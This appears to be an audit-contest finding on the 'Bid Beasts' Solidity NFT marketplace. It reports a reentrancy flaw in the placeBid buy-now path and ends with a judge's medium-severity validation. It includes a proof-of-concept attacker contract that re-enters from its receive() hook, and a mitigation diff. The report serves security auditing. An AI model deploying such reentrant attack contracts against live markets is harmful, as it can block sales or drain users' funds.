Bid Beasts
First Flight #49
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100 EXP
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Submission Details
Severity: medium
Valid

Reentrancy During Buy-Now Purchase

pxlvre

High: Reentrancy During Buy-Now Purchase

Description

  • The placeBid() function allows immediate purchase when a bid meets the buy-now price, executing the sale and refunding any previous bidder.

  • The function performs external calls to refund the previous bidder before completing all state changes, violating the checks-effects-interactions pattern and enabling reentrancy attacks.

if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
uint256 salePrice = listing.buyNowPrice;
uint256 overpay = msg.value - salePrice;
​
bids[tokenId] = Bid(msg.sender, salePrice);
listing.listed = false;
​
if (previousBidder != address(0)) {
_payout(previousBidder, previousBidAmount); // @> External call while listing still has data
}
​
_executeSale(tokenId); // @> Another external call that modifies state

Risk

Likelihood:

  • Occurs when a malicious contract is the previous bidder on an NFT

  • Happens during buy-now purchases where previous bids exist

Impact:

  • Reentrancy could manipulate auction state during execution

  • Potential for double-spending or state corruption

  • Could prevent legitimate buy-now purchases from completing

Proof of Concept

This test demonstrates how a malicious contract can exploit the reentrancy vulnerability during a buy-now purchase. The attacker's contract receives a refund for their previous bid and uses that opportunity to reenter the marketplace contract before the sale is finalized.

contract MaliciousBidder {
BidBeastsNFTMarket market;
uint256 targetTokenId;
uint256 attackCount;
constructor(address _market) {
market = BidBeastsNFTMarket(_market);
}
function placeBid(uint256 tokenId) external payable {
targetTokenId = tokenId;
market.placeBid{value: msg.value}(tokenId);
}
receive() external payable {
// Called when receiving bid refund
if (attackCount < 1) {
attackCount++;
// Try to manipulate state during refund
// At this point, listing.listed is false but bids[tokenId] still exists
// This could cause unexpected behavior or DoS
market.placeBid{value: msg.value}(targetTokenId);
}
}
}
​
function test_ReentrancyInBuyNow() public {
// Setup
MaliciousBidder attacker = new MaliciousBidder(address(market));
vm.deal(address(attacker), 10 ether);
// 1. Attacker places initial bid
attacker.placeBid{value: 2 ether}(tokenId);
// 2. Legitimate user tries to buy-now
vm.prank(legitimateBuyer);
vm.expectRevert(); // Transaction may revert due to reentrancy
market.placeBid{value: buyNowPrice}(tokenId);
}

Recommended Mitigation

Implement proper checks-effects-interactions pattern by completing all state changes before making external calls. Additionally, consider using OpenZeppelin's ReentrancyGuard for comprehensive protection.

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
​
- contract BidBeastsNFTMarket is Ownable(msg.sender) {
+ contract BidBeastsNFTMarket is Ownable(msg.sender), ReentrancyGuard {
​
- function placeBid(uint256 tokenId) external payable isListed(tokenId) {
+ function placeBid(uint256 tokenId) external payable isListed(tokenId) nonReentrant {
​
if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
uint256 salePrice = listing.buyNowPrice;
uint256 overpay = msg.value - salePrice;
+ address prevBidder = previousBidder;
+ uint256 prevAmount = previousBidAmount;
​
// Complete ALL state changes first
bids[tokenId] = Bid(msg.sender, salePrice);
listing.listed = false;
- if (previousBidder != address(0)) {
- _payout(previousBidder, previousBidAmount);
- }
_executeSale(tokenId); // This also modifies state
+ // External calls last
+ if (prevBidder != address(0)) {
+ _payout(prevBidder, prevAmount);
+ }
if (overpay > 0) {
_payout(msg.sender, overpay);
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Reentrancy In PlaceBid

BidBeast Marketplace has a Medium-severity reentrancy vulnerability in its "buy-now" feature that allows an attacker to disrupt the platform by blocking sales or inflating gas fees for legitimate users.

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